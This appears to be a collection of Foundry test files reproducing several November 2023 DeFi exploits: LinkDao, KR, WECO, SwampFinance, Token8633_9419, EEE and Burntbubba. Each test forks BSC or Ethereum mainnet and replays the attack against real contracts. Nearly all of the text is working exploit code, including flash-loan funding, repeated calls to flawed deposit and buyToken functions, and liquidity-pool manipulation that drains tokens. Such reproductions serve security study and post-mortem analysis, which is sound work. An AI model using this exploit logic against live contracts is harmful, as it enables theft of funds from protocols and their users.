    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract LinkDao_exp is Test {
    address immutable r = address(this);

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("bsc", 33_527_744);
        // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee));
    }

    IUniswapV2Pair constant x55d3 = IUniswapV2Pair(0x55d398326f99059fF775485246999027B3197955);
    IUniswapV2Pair constant x6524 = IUniswapV2Pair(0x6524a5Fd3FEc179Db3b3C1d21F700Da7aBE6B0de);

    function test() public {
        // vm.prank(0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038, 0xdF6B0200B4e1Bc4a310F33DF95a9087cC2C79038);
        x2effb772();
    }

    function x2effb772() public {
        x55d3.balanceOf(address(x6524));
        x6524.swap(29_663_356_140_000_000_000_000, 0, r, hex"313233");
    }

    function xdc6eaaa9() public {
        x55d3.transfer(address(x6524), 1_000_000_000_000_000_000);
    }

    fallback() external payable {
        bytes4 selector = bytes4(msg.data);
        if (selector == 0xdc6eaaa9) {
            return xdc6eaaa9();
        }
        revert("no such function");
    }
}

LinkDao Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~5 $ETH
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Vulnerable Contract : https://bscscan.com/address/0x15b1ed79ca9d7955af3e169d7b323c4f1eeb5d12
// Attack Tx : https://bscscan.com/tx/0x2abf871eb91d03bc8145bf2a415e79132a103ae9f2b5bbf18b8342ea9207ccd7

import "forge-std/Test.sol";
import "./../interface.sol";

interface IKR is IERC20 {
    function sellKr(
        uint256 tokenToSell
    ) external;
}

contract ContractTest is Test {
    IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IKR KR = IKR(0x15b1Ed79cA9D7955AF3E169d7B323c4F1eeb5D12);
    uint256 tokenToSell;

    function setUp() public {
        vm.createSelectFork("bsc", 33_267_985 - 1);
        vm.label(address(KR), "KR");
        vm.label(address(BUSD), "BUSD");
    }

    function testExploit() public {
        BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));
        emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));
        tokenToSell = KR.balanceOf(address(0xAD1e7BF0A469b7B912D2B9d766d0C93291cA2656)) * 94 / 100;
        KR.sellKr(tokenToSell);
        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
    }

    fallback() external payable {}
    receive() external payable {}
}

KR Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$18K
// Attacker : https://bscscan.com/address/0xf5f21746ff9351f16a42fa272d7707cc35760e4b
// Attack Contract : https://bscscan.com/address/0x76c8a674e814f5bd806fe6dd9975446a76056c1a
// Vulnerable Contract : https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451
// Attack Tx : https://app.blocksec.com/explorer/tx/BSC/0x2040a481c933b50ee31aba257c2041c48bb7a0b4bf4b4fad1ac165f19c4269e8

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451#code#L871
// https://bscscan.com/address/0xd672b766d66662f5c6fd798a999e1193a7945451#code#L599

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/MetaSec_xyz/status/1725311048625041887
// Hacking God :

interface IWECOStaking {
    function deposit(uint256 _amount, uint256 _weeksLocked) external;
}

contract WECOExploit is Test {
    IWECOStaking private constant WECOStaking = IWECOStaking(0xd672b766D66662F5C6fd798a999e1193a7945451);
    IERC20 private constant WECOIN = IERC20(0x5d37ABAFd5498B0E7af753a2E83bd4F0335AA89F);

    uint256 private constant blocknumToForkFrom = 33_549_937;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        vm.label(address(WECOStaking), "WECOStaking");
        vm.label(address(WECOIN), "WECOIN");
    }

    function testExploit() public {
        // Initial WECOIN balance. There was a transfer of WECOIN tokens from exploiter to attack contract
        // https://app.blocksec.com/explorer/tx/bsc/0x6129e18fdba3b4d3f1e6c3c9c448cafcbee5b5c82e4bbb69a404360f0e579051
        deal(address(WECOIN), address(this), 25_000_001 ether);
        uint256 WECOINBeforeBalance = WECOIN.balanceOf(address(this));
        WECOIN.approve(address(WECOStaking), type(uint256).max);
        WECOStaking.deposit(WECOIN.balanceOf(address(this)) - 1 ether, 0);
        uint256 WECOBalanceBeforeSecondDeposit = WECOIN.balanceOf(address(this));
        WECOStaking.deposit(WECOIN.balanceOf(address(this)), 0);
        uint256 WECOBalanceAfterSecondDeposit = WECOIN.balanceOf(address(this));
        uint256 WECOStakingBalance = WECOIN.balanceOf(address(WECOStaking));

        uint256 i;
        while (i < WECOStakingBalance / (WECOBalanceAfterSecondDeposit - WECOBalanceBeforeSecondDeposit)) {
            (bool success,) = address(WECOStaking).call(abi.encodeCall(WECOStaking.deposit, (1 ether, 0)));
            if (success == false) {
                break;
            } else {
                ++i;
            }
        }
        emit log_named_decimal_uint(
            "Exploiter profit (in WECOIN) after attack",
            WECOIN.balanceOf(address(this)) - WECOINBeforeBalance,
            WECOIN.decimals()
        );
    }
}

WECO Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : Unclear
// Attacker : https://bscscan.com/address/0xfe2105e1317dfd6ed3887bf7882977c03cfebb7c
// Attack Contract : https://bscscan.com/address/0x22ad9eef79615a1592e969bdf7b238a07281ab80
// Vulnerable Contract : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x13e75878a21af9a9b2207f5d9e18f19a43083a9ffbac36df5a7d4d67a52c164f

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x33adbf5f1ec364a4ea3a5ca8f310b597b8afdee3#code#L1609

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/MetaSec_xyz/status/1720373044517208261
// Hacking God :

interface IbeltBNB {
    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(
        address owner
    ) external view returns (uint256);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function deposit(uint256 _amount, uint256 _minShares) external;

    function withdraw(uint256 _shares, uint256 _minAmount) external;
}

interface INativeFarm {
    function deposit(uint256 _pid, uint256 _wantAmt) external;

    function withdraw(uint256 _pid, uint256 _wantAmt) external;
}

interface IStrategyBeltToken {
    function earn() external;
}

contract SwampFinanceExploit is Test {
    IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IbeltBNB private constant beltBNB = IbeltBNB(0xa8Bb71facdd46445644C277F9499Dd22f6F0A30C);
    DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    ICointroller private constant VenusDistribution = ICointroller(0xfD36E2c2a6789Db23113685031d7F16329158384);
    ICErc20Delegate private constant vUSDT = ICErc20Delegate(payable(0xfD5840Cd36d94D7229439859C0112a4185BC0255));
    crETH private constant vBNB = crETH(payable(0xA07c5b74C9B40447a954e1466938b865b6BBea36));
    INativeFarm private constant NativeFarm = INativeFarm(0x33AdBf5f1ec364a4ea3a5CA8f310B597B8aFDee3);
    IStrategyBeltToken private constant StrategyBeltToken =
        IStrategyBeltToken(0xdA937DDD1F2bd57F507f5764a4F9550c750F7B31);

    uint256 private constant blocknumToForkFrom = 33_112_358;

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
        vm.label(address(WBNB), "WBNB");
        vm.label(address(BUSDT), "BUSDT");
        vm.label(address(beltBNB), "beltBNB");
        vm.label(address(DPPOracle), "DPPOracle");
        vm.label(address(VenusDistribution), "VenusDistribution");
        vm.label(address(vUSDT), "vUSDT");
        vm.label(address(vBNB), "vBNB");
        vm.label(address(NativeFarm), "NativeFarm");
        vm.label(address(StrategyBeltToken), "StrategyBeltToken");
    }

    function testExploit() public {
        deal(address(this), 0);
        // In the begining transfer tokens from exploiter to attack contract
        deal(address(WBNB), address(this), 1e15);
        deal(address(BUSDT), address(this), 155_049_710_721_328_089);
        deal(address(beltBNB), address(this), 1_272_113_372_028_660);

        emit log_named_decimal_uint(
            "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
        );

        DPPOracle.flashLoan(3100e18, 150_000e18, address(this), bytes("_"));

        emit log_named_decimal_uint(
            "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        approveAll();
        address[] memory vTokens = new address[](2);
        vTokens[0] = address(vUSDT);
        vTokens[1] = address(vBNB);
        VenusDistribution.enterMarkets(vTokens);

        uint256 cachedBUSDTbalance = BUSDT.balanceOf(address(this));
        vUSDT.mint(cachedBUSDTbalance);
        vBNB.borrow(500 ether);
        WBNB.deposit{value: address(this).balance}();
        beltBNB.deposit(WBNB.balanceOf(address(this)), 1);
        NativeFarm.deposit(135, beltBNB.balanceOf(address(this)));
        StrategyBeltToken.earn();
        NativeFarm.withdraw(135, type(uint256).max);
        beltBNB.withdraw(beltBNB.balanceOf(address(this)), 1);
        WBNB.withdraw(500 ether);
        vBNB.repayBorrow{value: 500 ether}();
        vUSDT.redeemUnderlying(cachedBUSDTbalance);

        WBNB.transfer(address(DPPOracle), baseAmount);
        BUSDT.transfer(address(DPPOracle), quoteAmount);
    }

    receive() external payable {}

    function approveAll() private {
        BUSDT.approve(address(vUSDT), type(uint256).max);
        WBNB.approve(address(beltBNB), type(uint256).max);
        beltBNB.approve(address(NativeFarm), type(uint256).max);
        beltBNB.approve(address(beltBNB), type(uint256).max);
    }
}

SwampFinance Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

// @KeyInfo - Total Lost : ~$52K
// Attacker : https://bscscan.com/address/0xe9fac789c947f364f53c3bc28bb6e9e099526468
// Attack Contract : https://bscscan.com/address/0x87c75f8a69732bad999ce1fab464526856215c77
// Vulnerable Contract : https://bscscan.com/address/0x11cd2168fc420ae1375626655ab8f355f0075bd6
// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844

interface IERC20 {
    function balanceOf(
        address
    ) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
    function approve(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

interface IPancakePool {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

interface IPancakeRouter {
    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IHelper {
    function autoSwapAndAddToMarketing() external;
    function autoAddLp() external;
}

contract Token8633_9419_exp is Test {
    address immutable r = address(this);

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("bsc", 33_545_074);
        // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844));
    }

    IERC20 constant x0cca = IERC20(0x0cCa1055f3827b6D2f530d52c514E3699c98F3B9);
    IERC20 constant x55d3 = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 constant x8633 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);
    IPancakePair constant x5b4d = IPancakePair(0x5b4D39f3d6ab3Ee426Bc5B15fF65B1EeD8BB68C2);
    IPancakeRouter constant x10ed = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IPancakePool constant x92b7 = IPancakePool(0x92b7807bF19b7DDdf89b706143896d05228f3121);
    IHelper constant x11cd = IHelper(0x11Cd2168fc420ae1375626655ab8f355F0075Bd6);
    IHelper constant x1281 = IHelper(0x128112aF3aF5478008c84d77c63561885FBBC438);
    address constant x5752 = 0x57528D1cf2b14Bb35781Df41099f10Cd927FF026;
    address constant x5a52 = 0x5a522C949F3DcBc30f511E20D72fb44B770f28e6;
    address constant x9a0c = 0x9a0Ccc75d0B8Ef0BeAc89ECA9f4dC17AD6770AAD;
    address constant xba0b = 0xBA0bcb1D0a2166D26a4Bfd9fAbb825369ab36209;

    function test() public {
        // vm.prank(0xe9FAc789C947f364f53C3BC28bB6E9e099526468, 0xe9FAc789C947f364f53C3BC28bB6E9e099526468);
        xd8ea4b59();
    }

    function xd8ea4b59() public {
        x92b7.flash(r, 1.1e24, 0, hex"30783030");
    }

    function pancakeV3FlashCallback(uint256, uint256, bytes memory) public {
        x55d3.balanceOf(r);
        x55d3.balanceOf(address(x5b4d));
        x55d3.balanceOf(x5752);
        x8633.balanceOf(address(x5b4d));
        x8633.balanceOf(address(x1281));
        x55d3.transfer(address(x1281), 12_963_077_939_873_677_887_580);
        for (uint256 i = 0; i < 130; i++) {
            x1281.autoAddLp();
        }

        address[] memory path = new address[](2);
        path[0] = address(x55d3);
        path[1] = address(x8633);
        x10ed.getAmountsOut(1e24, path);
        address[] memory path2 = new address[](2);
        path2[0] = address(x55d3);
        path2[1] = address(x0cca);
        x10ed.getAmountsIn(12_757_806_796_945_991_578_214_185_129_315, path2);
        x55d3.approve(address(x10ed), type(uint256).max);
        x0cca.approve(address(x10ed), type(uint256).max);
        x10ed.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            839_828_983_139_806_906_579, 0, path2, r, 1_700_144_157
        );
        x0cca.balanceOf(r);
        x55d3.transfer(address(x5b4d), 1e24);
        x5b4d.swap(0, 12_757_806_796_945_991_578_214_185_129_315, x5a52, "");
        x0cca.approve(x5a52, 12_757_806_796_945_991_578_214_185_129_315);
        x0cca.balanceOf(r);
        x0cca.transfer(x9a0c, 1_056_998_382_300_994_038_915_644_566_868);
        (bool success,) = x5a52.call(hex"004b2cc0");
        require(success, "Low-level call failed");
        x8633.balanceOf(r);
        for (uint256 i = 0; i < 900; i++) {
            x11cd.autoSwapAndAddToMarketing();
        }

        x8633.balanceOf(r);
        x8633.approve(address(x10ed), type(uint256).max);
        x55d3.approve(address(x10ed), type(uint256).max);
        address[] memory path3 = new address[](2);
        path3[0] = address(x8633);
        path3[1] = address(x55d3);
        x10ed.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            12_757_806_796_944_991_578_214_185_129_315, 0, path3, r, 1_700_144_157
        );
        x55d3.balanceOf(r);
        x55d3.balanceOf(r);
        x55d3.balanceOf(r);
        x55d3.transfer(address(x92b7), 1_100_110_000_000_000_000_000_000);
        x55d3.balanceOf(r);
        x55d3.transfer(xba0b, 26_362_092_911_372_968_412_790);
    }

    fallback() external payable {
        revert("no such function");
    }
}

Token8633_9419 Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : ~$22.8K
// Attacker : https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9
// Attack Contract : https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5
// Vulnerable Contract : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833
// Attack Tx : https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :

// @Other Findings
// address 0xde19b6f4eaaf3a897d1b190d37c86d6ef3b24d02 gained 9,358,702 EEE Token
// address 0xe568a4ce2eb77d230e1473d2cfd5b5e2129f69a8 gained 18K USD
// address 0xfef7b2b4fd8f9fdca24713999a5e76c044ccfc0d gained 27K USD

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IPancakePool {
    function swap(uint256, uint256, address, bytes calldata) external;
}

interface IAttackRouter {
    function swap(address, uint256) external;
}

contract ContractTest is Test {
    IPancakePool pancake = IPancakePool(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;
    IERC20 usdt = IERC20(payable(usdtAddress));
    IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    address cake_LP = 0x0506e571ABa3dD4C9d71bEd479A4e6d40d95C833;
    address EEE = 0x297f3996Ce5C2Dcd033c77098ca9e1acc3c3C3Ee;
    address swap_router = 0x5002F2D9Ac1763F9cF02551B3A72a42E792AE9Ea;

    function setUp() external {
        cheats.createSelectFork("bsc", 33_940_984 - 1);
    }

    function testExploit() external {
        uint256 before = usdt.balanceOf(address(this));
        emit log_named_uint("[Begin] Attacker USDT before exploit", before);
        address me = address(this);
        pancake.swap(750_000_000_000_000_000_000_000, 0, me, "0x00");
        uint256 after_attack = usdt.balanceOf(address(this));
        emit log_named_uint("[End] Attacker USDT after exploit", after_attack);
        emit log_named_uint("[End] Profit in $", (after_attack - before) / 1e18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        usdt.transfer(cake_LP, amount0); // transfer usdt to the LP, surging the usdt supply

        uint256 EEE_amount = 52_000_000_000_000_000_000_000_000;
        IPancakePool(cake_LP).swap(EEE_amount, 0, address(this), ""); // get EEE
        IERC20(EEE).approve(swap_router, 100_000_000_000_000_000_000_000_000_000_000);

        // swap EEE to USDT
        IAttackRouter(swap_router).swap(EEE, 3_000_000_000_000_000_000_000_000);
        uint8 index = 0;
        while (index < 8) {
            IAttackRouter(swap_router).swap(EEE, 800_000_000_000_000_000_000_000);
            index++;
        }

        IERC20(EEE).transfer(cake_LP, IERC20(EEE).balanceOf(address(this))); // transfer directly to the LP

        IPancakePool(cake_LP).swap(0, 188_300_000_000_000_000_000_000, address(this), ""); // swap EEE to USDT
        usdt.transfer(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0, 751_950_000_000_000_000_000_000); // payback
    }

    fallback() external payable {}
}

EEE Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$3K
// Attacker : https://etherscan.io/address/0x9d44f1a37044500064111010632a8a59003701c8
// Attack Contract : https://etherscan.io/address/0x4bc691601b50b3e107b89d5ea172b40a9dbc6251
// Vulnerable Contract : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x2b6d0af0dc513a15e325703405739057f9de6ef3f99934b957653b8a3fade4c6

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/MetaSec_xyz/status/1730044259087315046
// Hacking God :

interface ISushi {
    function flashLoan(address borrower, address receiver, address token, uint256 amount, bytes memory data) external;
}

interface IFarmingLPToken {
    function deposit(
        uint256 amountLP,
        address[] memory path0,
        address[] memory path1,
        uint256 amountMin,
        address beneficiary,
        uint256 deadline
    ) external;

    function transfer(address to, uint256 amount) external returns (bool);

    function emergencyWithdraw(
        address beneficiary
    ) external;

    function withdrawableTotalLPs() external view returns (uint256);

    function totalShares() external view returns (uint256);

    function balanceOf(
        address account
    ) external view returns (uint256);
}

interface ISushiUSDC is IUSDC {
    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);
}

contract BurntbubbaExploit is BaseTestWithBalanceLog {
    IERC20 private constant AST = IERC20(0x27054b13b1B798B345b591a4d22e6562d47eA75a);
    IERC20 private constant SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
    IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    ISushiUSDC private constant SushiUSDC = ISushiUSDC(0x397FF1542f962076d0BFE58eA045FfA2d347ACa0);
    IFarmingLPToken private constant FarmingLPToken = IFarmingLPToken(0xa44e79a2c9a8965e7A6FA77BF0ca8FAF50e6C73E);
    IBalancerVault private constant Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    ISushi private constant SushiSwap = ISushi(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
    Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
    Uni_Pair_V2 private constant AST_SUSHI = Uni_Pair_V2(0xd47f61BFCeA6e64F9D3FEC529C44153E04CB73B9);
    address private constant originalAttackContract = 0x4Bc691601B50B3e107B89d5EA172B40a9dbC6251;

    uint256 private constant blocknumToForkFrom = 18_680_254;
    address private toAddr;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        toAddr = makeAddr("toAddr");
        vm.label(address(AST), "AST");
        vm.label(address(SUSHI), "SUSHI");
        vm.label(address(USDC), "USDC");
        vm.label(address(WETH), "WETH");
        vm.label(address(SushiUSDC), "SushiUSDC");
        vm.label(address(FarmingLPToken), "FarmingLPToken");
        vm.label(address(Balancer), "Balancer");
        vm.label(address(SushiSwap), "SushiSwap");
        vm.label(address(SushiRouter), "SushiRouter");
        vm.label(address(AST_SUSHI), "AST_SUSHI");
    }

    function testExploit() public {
        // Attacking contract start AST amount
        deal(address(AST), address(this), 2_062_557);
        emit log_named_decimal_uint("Exploiter USDC balance before attack", USDC.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);

        address[] memory tokens = new address[](2);
        tokens[0] = address(USDC);
        tokens[1] = address(WETH);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 800e6;
        amounts[1] = 50e16;
        Balancer.flashLoan(address(this), tokens, amounts, bytes(""));

        emit log_named_decimal_uint("Exploiter USDC balance after attack", USDC.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
    }

    function receiveFlashLoan(
        address[] calldata tokens,
        uint256[] calldata amounts,
        uint256[] calldata feeAmounts,
        bytes calldata userData
    ) external {
        SushiSwap.flashLoan(address(this), address(this), address(SUSHI), 400_000e18, bytes("_"));
        USDC.transfer(address(Balancer), amounts[0]);
        WETH.transfer(address(Balancer), amounts[1]);
    }

    function onFlashLoan(
        address caller,
        address erc20Token,
        uint256 amount,
        uint256 feeAmount,
        bytes calldata data
    ) external {
        approveAll();
        addLiquidity(address(USDC), address(WETH), 2e6, 1e15);
        addLiquidity(address(USDC), address(AST), 2e6, 10e3);
        addLiquidity(address(SUSHI), address(AST), amount, 10e3);

        address[] memory path0 = new address[](3);
        path0[0] = address(USDC);
        path0[1] = address(AST);
        path0[2] = address(SUSHI);
        address[] memory path1 = new address[](2);
        path1[0] = address(WETH);
        path1[1] = address(SUSHI);
        FarmingLPToken.deposit(
            SushiUSDC.balanceOf(address(this)), path0, path1, 0, address(this), block.timestamp + 1000
        );
        // Pull out value from original attack contract storage. Needed it for transfer amount calculation
        uint256 value = uint256(vm.load(originalAttackContract, bytes32(uint256(10))));
        uint256 totalWithdrawableLPs = FarmingLPToken.withdrawableTotalLPs();
        uint256 totalShares = FarmingLPToken.totalShares();
        uint256 transferAmount =
            FarmingLPToken.balanceOf(address(this)) - ((value * totalShares) / totalWithdrawableLPs);
        // In the attack tx amount of LPToken was transferred to exploiter eoa addr before making call to
        // 'emergencyWithdraw'
        FarmingLPToken.transfer(toAddr, transferAmount);
        FarmingLPToken.emergencyWithdraw(address(this));
        SushiUSDC.transfer(address(SushiUSDC), SushiUSDC.balanceOf(address(this)));
        SushiUSDC.burn(address(this));
        AST_SUSHI.transfer(address(AST_SUSHI), AST_SUSHI.balanceOf(address(this)));
        AST_SUSHI.burn(address(this));

        uint256 amountOut = feeAmount + (feeAmount / 10);
        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(SUSHI);
        SushiRouter.swapTokensForExactTokens(amountOut, 200e15, path, address(this), block.timestamp + 1000);
        SUSHI.transfer(address(SushiSwap), amount + feeAmount);
    }

    function approveAll() private {
        USDC.approve(address(SushiRouter), type(uint256).max);
        WETH.approve(address(SushiRouter), type(uint256).max);
        AST.approve(address(SushiRouter), type(uint256).max);
        SUSHI.approve(address(SushiRouter), type(uint256).max);
        SushiUSDC.approve(address(FarmingLPToken), type(uint256).max);
    }

    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired) private {
        SushiRouter.addLiquidity(
            tokenA, tokenB, amountADesired, amountBDesired, 0, 0, address(this), block.timestamp + 1000
        );
    }
}

Burntbubba Exploit (2023-11)


pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~23 WBNB
// TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a34
// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
// Attack Contract : https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7
// GUY : https://x.com/MetaSec_xyz/status/1720035913009709473

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
    IERC20 BRAND = IERC20(0x4d993ec7b44276615bB2F6F20361AB34FbF0ec49);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    address Vulncontract = 0x831d6F9AA6AF85CeAD4ccEc9B859c64421EEeFD4;

    function setUp() external {
        cheats.createSelectFork("bsc", 33_139_124);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        DPP.flashLoan(300 ether, 0, address(this), abi.encode(3));
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        swap_token_to_token(address(WBNB), address(BRAND), 300 ether);
        uint256 i = 0;
        while (i < 100) {
            address(Vulncontract).call(abi.encodeWithSignature("buyToken()"));
            i++;
        }
        swap_token_to_token(address(BRAND), address(WBNB), BRAND.balanceOf(address(this)));
        WBNB.transfer(msg.sender, baseAmount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}

BRAND Exploit (2023-11)